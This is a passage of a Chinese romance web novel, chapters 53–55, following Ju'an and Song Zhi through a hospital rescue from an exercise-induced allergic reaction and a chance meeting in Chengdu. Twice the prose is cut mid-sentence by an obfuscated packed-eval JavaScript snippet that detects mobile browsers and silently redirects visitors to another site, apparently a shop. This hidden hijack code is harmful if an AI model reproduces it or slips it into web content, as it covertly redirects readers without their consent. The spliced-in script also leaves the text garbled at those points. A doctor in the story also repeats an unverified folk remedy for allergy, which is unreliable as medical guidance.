雎安描述不出此刻的心情,只是看着他的背影,他每前行一步,她就跟着走一步。 这个似曾相识的感觉,让她的心跳不自觉地漏了一拍。 在两人分别之际,雎安停下脚步,率先开口道:“今天真的太谢谢你了。” “嗯,不用谢。”宋挚脚步一滞,在嘉源小区后门的入口处转过身来,“回去洗个热水澡,好好睡一觉,你会好很多。” 这是道别的话。 “你是在华州财经读的大学吗?” 话题转得太快,宋挚愣了会儿,才答道:“不是,我是华大的。” 夜色如墨,月光不知何时被游移的云层所遮蔽,道路被灯光染得更为昏黄,这个似曾相识的场景让雎安晃了神。 她借着路灯仔细观察起宋挚,他的身型确实和她记忆中的那个男生非常得像,可扪心自问,这么些年过去了,她其实记不太清。 “那你去过华州财经吗?”雎安追问。 宋挚不明所以,但仍如实回答:“去过很多次,我妈曾经在那里任教。怎么了吗?” “可以抱抱我吗?” “什么?”宋挚被弄得云里雾里,思绪混乱。 雎安倒是难得地遵从自己的内心,笃信自己的感觉。 她没有胆怯和退缩,再一次对还算是陌生男人的宋挚提出了冒犯而荒唐的要求。 “你可以抱抱我吗?” 53. 食物依赖性运动诱发过敏反应^^…… 2026年正月十七,惊蛰。 雎安并没有按计划搬去青旅,她需要休息,需要时间缓过神来,更需要时间淡化心理的阴影。 她打算睡一整天,可她的睡眠并不好,夜间醒了两三次,早上十点醒来后就彻底睡不着了,索性起床,去楼下吃碗热馄饨。 碰到宋挚的时候,她没有很意外,只是有些尴尬。 宋挚穿着一身极为简约的运动服,看状态是刚跑完步回来,他朝坐在店里的雎安笑了笑,算是打过招呼,之后便提着打包好的肠粉离开了。 自他出现又离开后,雎安的魂就像是丢了一样,脑中不停地回想昨天他们相拥的场景。 他很绅士,手是虚搭在她身上的,不像雎安,她直接将头埋进了他的颈窝,像是猫猫找到了自己的安心小窝,就这么直冲冲地钻了进去。 也不知过了多久,她感觉到他喉间的震动,听到了他的声音。 “没事的,今天你经历的坏事只是小概率事件,很多人一辈子都不会经历。所以,你再经历一次类似事件的几率要比中大额彩票的几率还要低。” 宋挚的手往里收了收,拍了拍雎安的后背,“希望能安慰到你。” 他很温柔,在把握分寸之间,尽可能地给予一个刚受到惊吓和遭受心理创伤的女生一些安慰。 “谢谢你。”雎安轻轻地推开他,仰头道:“你先回去吧,我想在这缓一会儿。” 宋挚有几秒的犹豫,但见周围的商铺灯火通明,也就不再推诿,道别完后转身离开,刷卡进了小区。 雎安记得,她当时就是这么看着他的背影消失在她的视线之内的。 于是,她回了神,仔细回想,他刚刚和她打招呼时的神情大方且自然,完全没有被冒犯后的闪躲和别扭。 那就好。 雎安呼出一口长气,因为宋挚的突然出现而绷紧的神经,终于放松了下来。 次日,雎安依旧是十点多走出的酒店,在吃完鲜虾云吞后,又在店门口碰见了宋挚。 今天他没有打包早餐,也没有看到雎安,而是皱着眉快步往前,而他的脚步还有些虚浮,不似往日矫健。 最恐怖的是,雎安看到他脖颈处都是蚊子包,也不知是不是她的错觉,她眨了两次眼,他的身上的蚊子包就蔓延到了下巴处。 雎安瞬间察觉到情况的不对劲,上前拦住宋挚,直入主题,“你是不是过敏了?你的脸上都是包,而且蔓延得很快。” “有可能,我早上吃了虾饺和海鲜粥。”宋挚这才注意到雎安,声音有些无力,“我正要去药店买氯雷他定。” 话音刚落,宋挚感到一种前所未有的虚脱,双脚发软,整个人就要往后倒,幸好被眼疾手快的雎安及时扶住。 “你过敏干嘛吃海鲜啊?!”雎安被宋挚吓出一身冷汗,出于关心,又很是焦急,直接出声吼了他。 “我对海鲜不过敏。”宋挚靠在她身上,声音变得越发细软,“我也不知道是怎么了,我现在喉咙也发痒,手也肿了......” 雎安意识到不对,他说他喉咙发痒,这意味着过敏反应很可能危机到了呼吸系统。 “你看着很严重,我得立刻带你去医院!” 话音刚落,雎安就拖着宋挚拦下一辆出租车,用尽全力将他放置在后座。 “师傅,我朋友的过敏严重到已经呼吸不畅了,要去临近医院的急诊部,一定要快!谢谢你!” “好!” 师傅也不废话,见宋挚的脸上布满成片的肿包,人虚弱无力地压在女生身上,直接开车鸣笛,一边拨电话给122报备紧急情况,申请闯红灯的权限,一边踩油门、加速前进。 雎安则用手护着宋挚的头,防止他昏倒后直接撞到硬物上。 “宋挚,你告诉我,以前你对什么过敏,早上做了什么,去过什么特别的地方。”雎安用手拍打宋挚肿胀的下巴。 宋挚已经明显感觉到呼吸不如往常顺畅,说话也有些费劲,“我没有过敏史,早上和浮沉他们喝完茶后就去华江公园快走了一小时,那是我经常去的地方,应该不会......” 全程不到十分钟,出租车抵达华州市第一人民医院急诊部。 雎安感觉到宋挚的状态越来越差,无心再听他细若蚊吟的描述,直接让师傅去里头喊护士医生,而她推开车门,使出了吃奶的劲,将所有力都压在她身上的宋挚驮在背上。 宋挚失去意识前,看到的就是这么一幅画面,一副有人竭尽全力救他于水火的画面。 宋挚做了一个很长的梦,梦里都是与他而言很重要的记忆,难过的,开心的,平淡的,幸福的,记忆一一闪现。 他想,或许他真的要死了,他要让那些想要救下他的人失望了。 他感觉自己来到了一家空无一人的电影院,坐在银幕前,欣赏着由他出演的电影。 他是主角,而其他所有的人,不论是熟识的,还是陌生人,哪怕是他的父母,都只是配角。 电影临近尾声,画面定格在了昨天,也就是雎安依偎他怀里的那个时刻。 他没想到,自己人生中最后一段深刻的记忆,竟然不是今早和朋友们的聚餐,而是这个拥抱。 “医生,他怎么还没醒啊?” 他听到了雎安的声音。 “你再着急也用,放心吧,他送医及时,已经没有生命危险了。” 这是一个陌生的中年男声。 “那他这是怎么回事啊?他和我说,他以前对海鲜不过敏的。” 看来,他没死。 “你刚刚说他吃完早餐没多久就去晨练了,对吧?” “对。” 他想睁眼,想起身,却发现自己根本动不了,像是被鬼压床了一样。 “那大概率就是食物依赖性运动诱发过敏反应了。” “啊?”雎安被这么长的名字绕得有些晕,“意思是吃了海鲜+运动导致的?” “对。” “那如果,他只吃海鲜不运动的话,就不会有事?” “是。” “啊?这病这么奇怪啊。那他是不是以后都不可以吃完海鲜去运动了?” “最好不要,虽然这病的发病率只有0.1%,但你也看到了,挺危险的。” 宋挚感觉自己的手脚开始变得麻木,身上有了些许冷的感觉。 “我看得出来,他是个爱运动的小伙,待会儿他醒了,你得好好劝他。这刚运动完啊,会有免疫窗口期,免疫力会在短时间内下降,如果恰好在运动前吃了易引起过敏的海鲜、鸡蛋、坚果、小麦,都有可能引起这个疾病。” “啊?可这都是很常见的食物。”雎安并非有心和这位耐心的医生杠,于是便以极低的请教姿态,问道:“有没有什么方法可以避免和预防啊?” 医生想了想,说道:“之前有个老渔民说,吃海鲜要配姜蒜醋,可以防过敏。不过我不敢保证,我建议是最好随身携带氯雷他定,毕竟他严重过敏过,万一下次是吃小麦导致的呢?” “好的,我明白了,谢谢医生。” 雎安回身,看了眼正在输液的宋挚,他帅气的脸庞在此刻变得有些狼狈,虽然医生说他已经没事了,但他的眼睛和脸仍有些红肿。 以他的样貌,应该从小就很受女生欢迎,醒来以后看到自己这个样子,会不会难过到又想去蓉湖跳湖啊? 就在雎安胡思乱想的时候,宋挚醒了。 他没有力气坐起身,却喘着粗气,一副拼了命才睁开眼的模样,雎安惊得直接蹲下身去,趴在床边,轻轻拍打他未输液的那只手,安抚道:“没事了没事了,你已经安全了。” 宋挚闻声望去,是雎安没错,和他记忆中的她一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“谢谢你……救了我的命。” 确认针头没有问题后,她抬起头,用她认为的最温柔的声音,笑道:“多好,你帮了我,我也帮了你。” 语毕,雎安想起他之前曾有过轻生的行为,左手轻轻覆在宋挚输液的手上,温柔的声音里多了更为坚定的力量。 “这世上最重要的事就是活着,先活着才能好好地活着,而能好好地活着,就是这世上最幸运的事。你看,你现在还活着,而且这个病很快就能痊愈,你很快就能恢复健康。” “宋挚,你太幸运了!” 她在说最后一句话的时候,眼角眉梢都是笑意,眼中闪着的光透着毋庸置疑的开心和真诚。 她是真的觉得他幸运,真的在为他高兴,也是真的在为他还能好好活在这个世界上而感恩。 他也是真的信了,相信她所说的,他是如此的幸运。 他想将医药费还给她,他想告诉她他已经痊愈,他想得到她的联系方式,他想和她成为朋友,他想知道有关她的更多信息。 于是,他便到小区外的早餐店等着,一个上午等不到,就等十几个上午,十几个上午都等不到,那他就在附近的咖啡店坐着看书,一坐就是一整天,再一坐,就又过去了十天半个月。 直到有一天,蜂拥而至的人群遮挡了他的视线,窗外的人聚集在一起,等待传闻中那罕见的流星。 也就是那一刻,他突然意识到,她就如同那从天而降的流星,代表着奇遇,代表着感动,代表着幸运,似乎注定闪耀而短暂。 一瞬间,他有想哭的冲动。 54. 那女生身上有他说不上来的熟悉感…… 2026年6月1日,儿童节。 一切都不顺利,飞机延误近五个小时,凌晨地铁已经停运,机场又离市区很远,打车又遇到开车总是踩急刹的司机。 宋挚提着30寸的行李箱抵达市中心,人还因为晕车反着胃,好不容易在提前预定好的五星级酒店办理入住,结果房间的空调却出了问题,电视机也总是发出嗡嗡响的噪音。 他拨打前台电话没得到及时处理后,耐着性子到前台沟通,却被告知房间已满,无法更换房间。 前台推脱说等领导来安排,又让他等了十五分钟,才将他带到了顶楼的套间内。 “这是安神花茶,抱歉刚刚给您带来的不愉快体验,对不起,希望您能谅解。” 另一个工作人员不断地向他道歉,宋挚无心应付,只说了声谢谢,就将门关上了。 混乱的一天终于结束,只余一室寂静。 宋挚瘫倒在沙发上,不过几分钟又觉得口渴,起身喝了口花茶,这才注意到室内的面积宽阔,将立在中央的行李箱显得很是可怜,空落落的,和他此刻的心情一样。 这就是他不喜欢待在公寓,也不喜欢过于宽敞的客房的原因。 大公寓是父母购置送给他的成人礼,这他没办法。但出门在外,他有的选择,即便他有能力消费,也不会让自己独自一人待在百来平的房间里。 他想,他是害怕孤独的。 可偏偏,每个人似乎都注定逃不过孤独这个课题。 他打开电视,在嘻闹的综艺声中走进浴室,直到凌晨五点,才梳洗完睡下。 6月2日,午时一点。 宋挚被客房的电话声吵醒,完全还是懵的状态,他下意识地看向自己的手机,意识到铃声不对,这才注意床头柜上的座机。 “对不起,打扰您了,宋先生。现在已经十三点了,请问您要退房吗?” 听筒里传来陌生的男声。 “不退。” 许是没想到宋挚会续住,对面顿了一下,而后提醒他再住一晚套房的房费是多少钱。 “嗯,我续住一晚。”宋挚现在只想睡觉。 “可是,预订这间客房的客人将在下午三点抵达,能不能请您换到其他房间呢?我们会为您提供免费的早午餐加下午茶作为补偿。” 原来如此...... 宋挚在被窝里轻哼出声,人还没完全清醒,气已经上来了。 “要么你们另外安排那个客人,要么就等我睡饱了再换,我现在还在休息,不可能随你们调动。” “可是......” 对面还在说些什么,宋挚直接挂断了电话。 下午四点半,宋挚慢悠悠地起身,吃了点随身携带的饼干,洗完脸后拨通电话给前台,问他们处理得如何?谁知竟被暗讽了一番,最后还被着重提醒他需要支付一晚两千的房费。 宋挚被这个服务和体验气笑了,一秒都不想多待,收拾好东西后就去前台支付费用,一并投诉昨晚办事不力的经理和今天阴阳怪气的前台。 应该是没想到昨天还什么都说好好好,耐着性子乖乖配合他们的客人,今天竟冷着脸坚决投诉,还声称要写邮件到总部。 紧张的气氛让男前台说话都柔了几分,一副欲哭无泪的表情:“抱歉,今天要您挪房间是经理的意思,能不能请您谅解我的工作?您这一投诉,我很为难的,您也知道,打工也不容易,我没什么话语权。” “你是让我去投诉你们经理吗?” 宋挚并不吃他卖惨的这一套,冷嘲暗讽时怎么没想着自己是打工的,还是觉得他好欺负罢了。 “还是说,讽刺客人是你们经理教你的?我需要在邮件里着重强调吗?” 前台语塞,他昨天见宋挚抵达酒店的时候风尘仆仆,行李箱上都是污脏的泥水,身上没有什么贵重的配饰,衣服和鞋子也不过是极为常见的运动品牌的白T。然后他一查,这人果然是个普通用户,就没当一回事,毕竟这类客人只要免费升房和赠送早午餐就会感恩戴德。 “宋挚?” “你怎么在这?” 这次出差,卢宇年是跟着父亲卢震南来谈生意。 近几年,他们家创立的美妆护肤品牌销量很好,再加上他们的工厂还给几个大品牌代工,以他们家现在的资产,称他一句富二代是没问题的。 宋挚和卢宇年对视,两人都有些吃惊。 因为叫住宋挚的不是卢宇年,而是他的父亲卢震南。 “伯父您好。”长辈先开的口,宋挚自然得礼貌地回应。 同时,他也朝卢宇年点了点头,“我是来这边旅游的。” “哦~那很好,年轻人就该多走动走动,不要总闷在家里,旅游就是不错的选择。”卢震南上前拍拍宋挚的肩,十分亲昵的模样,“你父亲的实验我一直有在关注,最近的成果很瞩目啊!非常厉害,说实话,我很崇拜,有机会也想拜访参观一下。” 这话一出,宋挚就猜到了卢震南的目的。 于是,宋挚客套地笑笑,“哪里的话,您的公司越做越大,生意蒸蒸日上。家父常说您能力出众,不像他总是在出错,总得推翻重来,不成也只能磨了性子接着干。” 虽然知道是恭维的话,卢震南还是笑得很开心,“你父亲啊,只是谦虚而已!像你父亲那样的知识分子都是闷声干大事,不像我,哈哈,有点成果就到处宣扬。不过,我也是没办法啊,我得让我的股东们有信心,对吧?” 卢宇年一脸不耐心地在旁听着,因为极其讨厌周浮沉的缘故,连带着也不喜欢和周浮沉走得近的宋挚,加上他们家的事业还没做起来的时候,他自觉低宋挚一等,不愿和宋挚多交流。 可今时不同往日,他觉得自己可比他高了不止一等,就不太瞧得起一个大学教授的儿子。 说到底,在他眼里,谁手里攥着的钱多,谁就高人一等。今天要不是他爸主动打招呼,他甚至不会多看宋挚一眼。 “你们这是要出门?”宋挚面上不显,但也没耐心寒暄,只想尽快结束对话。 “对,我们刚落地没多久,现在急着去见客户。”着急离开的卢宇年还顺势推了一把。 卢震南剜儿子一眼,朝宋挚解释道:“看来今天没时间再多聊了,等回去华州以后约上你父亲一起吃顿饭。” 宋挚只是笑,没有应好。 最近宋言林的装置被学校刊登表扬后,引来了很多社媒的关注,他想这是卢震南如此热情的原因。 “以后再说吧,您先忙。” 卢震南经商多年,早已是人精,宋挚的每一句话、每一个表情和动作他都在看在眼里,听闻宋挚和宋言林近几年有诸多矛盾,接近宋挚并通过他约见宋言林的几率很低,于是便干脆利落地和宋挚告了别。 只是,他们父子俩还没能走出酒店,就被喷了一身不明气体,周身都是难闻的气味,被呛得呼吸困难的同时,眼睛也因刺痛感而无法睁开。 是一个全身裹着灰色防晒衣的女人干的,她的速度快到酒店保安和随行保镖都没反应过来。 宋挚和酒店大堂的人则更不用说,都是懵的状态,不是呆愣在原地,就是下意识地往后退。 “安娜维诺,黑心商家,产品不合格!!” 女人对着举起手机的路人喊道:“防晒喷雾添加不合规的化学成分,很多人用后皮肤屏障受损,不停地起红疹。而且他们的广告还宣传错误用法来吸引眼球、提高销量,误导消费者,致使多人白肺。其中,就包含我的女儿!我猜,你们都没好好用过你们的产品吧,今天我就让你们就好好用用!” 女人作势要再怼着人脸喷防晒,被保镖一把摁倒在地。 只是,身体活动受限并不能限制她,她仍不放弃不停歇地输出:“你们这些人,收买检测机构,聘请律师来帮你们逃避责任,买水军,做公关,整天营销!这些哪样不花钱?!偏偏就是不愿意把心思和钱用在产品上,根本不管消费者的诉求,完全没把消费者的健康当回事!” “你个臭婆娘。”卢宇年的眼睛止不住的飙泪,口腔里的火灼感更是让他难受得抓耳挠腮,“我整死你!” “闭嘴!咳咳......”在卢宇年即将一脚踹在女人背脊上时,卢震南拉住了他,一边咳嗽一边呵斥:“把她交给警察,我们赶紧去医院咳咳......别和这种人浪费时间。” 语毕,卢震南转身离开酒店,抬脚上了商务车,示意另一个保镖将怒气中烧的卢宇年强行压上车。 闹剧结束,酒店大堂终于安静了下来。 宋挚仍看着卢震南他们离开的方向,没有下一步动作,而前台小哥却已经凑了上来,接着解释道:“提前预订了套房的客人就是卢先生呢,既然你们相识,我们酒店也分别安置好了你们,要不我们让您免费续住一天,这次就算了吧~” 不合规的化学成分? 宋挚想起周浮沉和自己提到过,卢震南开的化妆品公司,旗下很多产品都涉嫌虚假宣传,别说成分效果了,安全性都存疑。 华州大学化学系的教授杜崇礼,也是宋挚的老师,就曾指出安娜维诺公司旗下的“浮光”和“初见雁”售卖的乳霜中含有某个有害成分,该成分存在极高的致癌风险。 杜崇礼曾邀请四个每天都使用初见雁乳霜并连续使用四 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“唉~”宋挚这一叹气,让前台小哥心中一紧。 最终,他既没接受酒店的续住补偿,也没再将精力耗费在投诉上,而是在小哥激动的感谢声中推着行李箱走出酒店,跟着导航往附近的地铁站走。 恰巧,地铁口附近有一间知名的全国连锁酒店,宋挚实在是累,索性就在这住下了。 就这样,他又快耗费了一天的时间。 夜晚七点,他出门去吃了大名鼎鼎的冷串钵钵鸡,结果被辣得嘴唇发肿发麻,回来的路上疯狂喝酸奶解辣,再回到酒店时,酸奶刚好见底,他随手将瓶子掷进酒店大堂的垃圾桶。 “咚”的一声,惊到了路过的女生。 那女生肩膀一颤,斜他一眼后将帽檐压低,手里还拿着房卡和身份证,拖着行李箱往电梯走。 宋挚跟在她身后,抵达电梯口后,在她身后站定。 随着电梯打开,女生刷卡后摁了四楼,正好也是他住的楼层,所以他瞄了一眼,就将原先准备刷卡的手收了回去。 女生见他进电梯后看了她一眼,却没有下一步动作,瞬间警惕起来,握着行李箱把手的手暗自收紧,偷偷透过电梯里的镜子打量对方。 简单的运动套装配运动鞋,双手插兜站着她身前,身姿挺拔,浓密的黑发垂搭在额头上,他歪着头,眼睛微微眯着,映射在镜中的眼神空洞而迷离,嘴唇还有些发红。 雎安认得他,他叫宋挚,是她救过两次的男人。 可他为什么会在成都?来旅游吗? 也不知他最近做了些什么,竟带给她一种他很危险的感觉。 雎安不自觉地又往后退了一步。 宋挚感知到什么,听到电梯叮一声抵达四楼后,从镜中看了眼身后那戴着口罩和帽子、捂得极为严实的女人,主动为她摁住开门键,示意她先出电梯。 雎安颔首,表示感谢,脑中却是警铃大响。 为什么他明明站在前面,抬脚就能出去,却要帮她按着开门键?他在她的后方,万一待会儿她一刷开房门,他就冲进来将她拉进房间并反手上锁的话,她该怎么办? 雎安其实对宋挚的印象还不错,只是她并不了解宋挚,又是一个女孩子出门在外,多留心眼总是好的。 雎安表现得极为平静,走出电梯后,便拖着箱子走到电梯间旁边的工作间,拿出裤兜里的手机,表现出一副着急确认信息的模样。 宋挚本来没多想,但他却在无意间发现她在留意他的动向。 他瞬间明白过来,她警惕的人是他。 意识到这一点,宋挚倒没什么不满的情绪,毕竟一个女生出门在外,有防备和警惕心是好事。 他头也不回地往前走,站定在404房的门前,从包里翻出房卡的那一瞬,他听见有人的电话铃声响起。 他没在意,接着刷卡开门。 “你现在在哪?是不是我爸妈找过你,和你说了什么?!” 闻声,宋挚的脚步一顿。 紧接着,传来了略显慌乱的摩挲声,多半是那女生在关闭不小心点开的免提。 宋挚虽然很是好奇,但一想到女生对他的警惕和怀疑,以及出于对她人隐私的尊重,在她回应之前,果断进了房间,关上了房门。 可人是进来的,他的思绪却还在那女生和她的那通电话上。 他无法否认,他确实一直在留意那女生,因为那女生身上有着他说不上来的熟悉感。再来,让他更为在意的,是从那女生手机里蹦出来的焦急而紧张的声音。 他很肯定,那是周浮沉的声音。 55. 被淋湿的林间小鹿 浮沉是极有分寸的人,即便是熟识的女性朋友,他也不会以那样的语气说话。 宋挚结合传闻猜测,那女生大概率就是朋友们口中那个让浮沉牵肠挂肚、魂不守舍的秘密女友。 他应该是见过的,但现在想不起来。 宋挚躺在床上,翻来覆去,左思右想,怎么都想不通。 近几个月,几乎是身边所有人都感受到浮沉的异常,他渴望获得父母的认可,以往为了拼事业总会主动加班,而现在却是到点就走,他们约也很难约出来,就算好不容易约出来了,手机一震动就会第一时间去看,偶尔还会对着手机傻笑。 而浮沉既没有婚约,又没有女友,为什么要对身边朋友都遮遮掩掩的? 难不成,那女生有什么特殊的家庭背景或经历?亦或是,他只是和那女生各取所需,并没有正式交往? 带着疑问的宋挚有些难眠,可转而一想,又觉得自己太操心、太八卦,索性打开电视看些热门综艺来转移注意力。 隔天,他按着攻略一早出门,打算去人民公园喝茶。 谁知里头竟全都是人,十分嘈杂,许多带孩子的家庭在此落脚嬉闹,还有很多不停拍照留念的游客们穿行于此,和他想象中惬意安静的环境大相径庭,这甚至比酒店周边的夜宵小店更加熙攘。 这可是周三的早晨九点,他以为不会有这么多游客。 最后,他有些失落地离开,在附近的小店随便点了份红油抄手。 结果是又一次踩雷。 宋挚无奈地揉揉眉心,感叹这随便找一家店都不会做得很难吃的食物,他竟然能找到做得这么差的店,也算是另一种幸运了。 第二站他去了文殊院。 因为他并不信教,只是抱着敬重的心态进入走了一圈,印象最深刻的是那飞落在水缸边喝水的岩鸽,在一片绿意的衬托下,画面静谧而美好。 不知是否是接近正午、太阳正烈的原因,文殊院的人并不多,宋挚站在出口处就这么被几个算命的人盯上了,他并没有理会他们,也没有呵斥他们离开,注意力全在自己刚搜的攻略上。 “小哥,你姓宋,对吧?” 有个戴着草帽的中年女人坚持不懈地和他搭话。 她的话,确实吸引了他的注意。 见宋挚回头,女人便知有希望,赶忙热情地上前,“小哥,你前两年犯太岁,今年运势不错,你的正缘要来了,我可以给你算算,透露些信息给你。” 女人笑得一脸神秘,面上透着一股快把钱交出来的狡黠。 宋挚不禁笑了,摇了摇头,就要走。 那女人坚持道:“真的,你一看就不是本地人,你的正缘也不是本地人。” “嗯,谢谢你。” 宋挚礼貌道谢,加快脚步往前走,也没管前方是何处,直到被“咚”的一声惊一下,才停下脚步。 一个女生将雨伞扔进了路边的垃圾桶,转头进了文殊院。 算命的女子仍在他耳边喋喋不休,宋挚没了耐心,“抱歉,我不信这些,请你不要再跟着我。” 语毕,宋挚走到垃圾桶对面的网红面店门口,驻足看了会儿菜单。 而刚才两三个人的队伍,在他到来时瞬间变成了十几人的长队,宋挚好似逐渐能接受自己在成都的不顺,意料之中的排长队,意料之中的和一群人站在三十多度的室外吃甜水面和红油抄手。 幸运的是,这家店的味道相当不错。 吃得淋漓大汗的他将碗放下,翻找纸巾时,透过玻璃窗看到了熟悉的背影,他下意识地侧身躲避,确保她不会看到他、也就不会怀疑他跟踪她。 可这样维持了一分钟,直到她的背影彻底消失,宋挚转过身来,拿出纸巾擦汗。 可他躲完又疑惑于自己为什么要躲,他又不是真的在跟踪她。 算了,避免不必要的误会也好。 “小姑娘,看相算命,要不要试试?” 草帽女人并没有离开,已经瞄准好新目标。 “看姻缘啊姑娘,你的正缘很快就要来了。” 闻言,雎安笑笑,“不用了,谢谢。” 这口音,女人一下反应过来,“真的,你一看就不是本地的,你的正缘也不是本地人。” “那他是哪里人?”雎安笑笑,倒不是真感兴趣,而是随口问出来的。 可那女人却以为她是同意了算命看相,扯着她站定在原地,示意她伸出右手。 雎安瞬间警惕,“是要钱?” 从早至今,女人接连挫败,眼见雎安对钱格外敏感,遂摆手道:“不收钱~我透露一半给你,另一半你有兴趣再问下去。” 透露一半? 雎安可是一点也不想知道,若是在父母离世前,即便她会怀疑这些人说的都是些故弄玄虚的假话,但为了维持安稳的生活,想知道未来是否有意外或灾祸的心仍会蠢蠢欲动。 但现在,她已经无所谓了。 与她而言,享受当下才是最重要的。 “不用了,我不信这些。” 雎安礼貌地笑笑,在女人试图跟上劝说的时候,快步走到警察执勤的岗亭附近,刻意停在那查看手机。 果不其然,那女人一见岗亭上站着的特警,便乖觉地退去,不敢再纠缠。 宋挚走的是和雎安相反的方向,期间路过一家奇玩店,被一个造型独特的铜镜吸引,于是他蹲下身,仔细打量,可他看着看着,却注意到了自己的斜挎包上有个“宋”字的挂件。 原来如此。 宋挚都忘了,抬手摸了摸那个“宋”字,想起自己方才心中闪过的一丝讶异,不禁失笑。 因为离地铁站有些距离,宋挚打算跟着导航边走边逛,行至半路,才发现导航的箭头是歪的,应该走错了方向。纠正路线后,他再次路过方才走过的街道。 只是,这一次不再是在烈日下行走,而是在一片乌云下。 也不知这些乌云是何时埋伏在附近的,晴朗的天空突然下起了雨,宋挚被打了个措手不及。 雨势很大,他只能一边翻找雨伞一边冲进附近的公交站台下躲雨。 倒霉的事多了,说不沮丧是假的。 他翻找了两次,都没找到伞,停下来仔细回想了一番,应该是被他随手放在了房间里的吧台上。 宋挚长长地叹了口气,坐在石凳上望着和他一般急忙翻找雨伞的行人,注意到有一个满头白发且极其瘦削的老爷爷拖着个庞然大物挤进站台里避雨,此外,站台的最角落处还猫着一个戴着帽子和口罩的女生。 身着棕白色条纹短袖的她,挎着一个米白色的帆布包,戴着一个带有卡通图案的口罩,头上戴着的还是昨天的黑色渔夫帽,此刻正靠在站牌的边沿不停地在敲击手机屏幕,想来是没注意到他。 宋挚回想起不久前,极其利落地将手中的伞扔掉的女生,就是她。 哔哔~ 手机的震动让宋挚收回视线,他点开手机,是周浮沉的信息。 “阿挚,你是在成都吗?” “对,前天就到了。” “你是去看演唱会?” “是,周六晚九点那场。” “你一个人吗?” “是。” “我有个朋友,突然一个人跑去成都看演唱会,我想请你帮忙照顾照顾她。” “男的女的?”宋挚想拒绝,所以明知故问,“女生的话,我可能不太方便。” 对面许久都没动静,宋挚以为周浮沉不会再回复时,就又收到了信息:“是女生,但她很内向,话很少,不怎么会与人交际,更不会主动和不熟悉的人搭话。她说她买的是山顶票,那她肯定不会和你坐一块,我只是想请你在散场的时候送她回酒店。毕竟体育馆离市区很远,演唱会散场后人又多又乱,还很难打到车,我怕她一个人不安全。” 他第一次见自己这位朋友一次性发这么多字的信息。 “所以,你和她是什么关系?” 宋挚打完这行字,很快又删得一字不剩。 他下意识地望向雎安的方向,发现刚刚那个拖着大麻袋的老爷爷不知为何掀开了上衣,露出圆滚滚的肚皮,明明位置已经足够容纳他的麻袋,但他却往女生那挤,手臂还触到女生的手背。 肌肤相触的那刻,雎安应激地往后退,后背的衣服被大雨淋湿不少,即使双眸被压低的帽檐遮住了,宋挚仍能从她紧抿的双唇中感受到惊恐。 “嘿!”宋挚朝着雎安的方向高喊一声,“这个挂件是你掉的吗?” 挂件是宋挚从包上扯下来的,事先扔在他所坐的石凳的另一角。 车站就他们三个人,玩偶挂件这种东西又不像老人家会用的东西,这样一来,他的询问就不会显得很突兀。 “我看看。” 雎安从来不在包包上挂配件,但她想要借此远离那老人,便快步从站牌后绕行到石凳前。 她的渔夫帽迅速被雨水打湿,更为沉重地压在她的头上。 “不是我的,我看这有个宋字,我的名字里没有这个字。” 东西当然不是她的。 所以宋挚也没留心她的回答,而是紧盯着那视线好似黏在雎安身上的老人,视线交错的瞬间,微眯的双眸带着审视和警告的意味,携带着他自己都未察觉的冷冽。 果不其然,那老人和他想的一样,不过是个欺软怕硬的纸老虎,意识到他有心介入,很快便收了视线,夹着尾巴、 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16201834|176717||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拉着大麻袋逃离了站台。 雎安不傻,这一切她都看在眼里,故而主动将挂件归还给它的主人,“宋挚,谢谢你。” “不用。”宋挚接过,将挂件收好。 这东西虽然不值钱,却是他在最后一次家庭旅行时,在云南的某个古镇买下的,很有纪念意义。 雨未停,车未达,雨珠滴落在树叶上发出的声音萦绕在耳边。 电光火石间,宋挚如梦初醒般意识到了什么,眼睛一瞬不瞬地盯着雎安的双眼。 与此同时,雎安在较为含蓄地观察宋挚,发现他看着她的眼睛里透着不加掩饰的吃惊,大概率是在对会在成都碰见她而感到惊讶。 雎安不以为意,观察他今日的打扮,发现他今天比昨天清爽很多,状态也并不似昨天那般颓靡。 可能昨天的他,还没休息好吧。 雎安暗自将宋挚再次归为好人那一列,并对他产生了一定的信任感。 哔哔~ 宋挚的思绪被打断,蓦地想起自己还没回复浮沉。 “抱歉,让你为难了。” “我知道你最近心情不好,难得一个人出门旅行,肯定不想被打扰,但我还是想拜托你一次。我说的那个女生叫邹雎安,是我在执行任务中认识的人。她父母前两个月出了事,有一部分原因是因为我工作上的失误。” “说实话,我很愧疚。” “所以从她抑郁自闭的那段时间开始,我一直在给予她经济上的帮助、还有精神上的鼓励,就是担心她会做傻事,希望她能早点走出来。最近,她的情况好了很多。但我没想到,我爸妈捕风捉影,误会了我和她的关系,私底下找她不知道说了什么。之后,她就不说一声地跑去成都了。” 又来了三条信息,其中两条是图片。 “我最近在忙案子,实在脱不开身。我发给你她的酒店地址、还有演唱会的座位号,同时也把你的手机号给了她,周六的时候麻烦你了。对了,我还让她如果遇到什么棘手的情况就联系你,她不是爱麻烦人的性格,如果她真的打电话找你,请你一定要帮帮忙,回来后我请你吃饭,谢了!” 宋挚万万没想到,在他期盼她出现的这几个月里,她家里竟然出了这么大的事,而且她还和浮沉有牵扯。 宋挚微不可查地叹了口气,只回了个好字。 此时,一滴水顺着玻璃间极小的嫌隙滴落在宋挚颈肩,凉意由上而下,竟意外地清凉宜人。 宋挚顺势抬头,发现是雨势过大,玻璃棚上堆积了过量的雨水,雨水从缝隙间渗了下来。 一旁的雎安在宋挚读低头读消息时,便已收回视线,她在关注打车软件的实况,因为呼叫的车辆迟迟未到,软件上显示的实时路况和她此刻的心情一样亮了红灯。 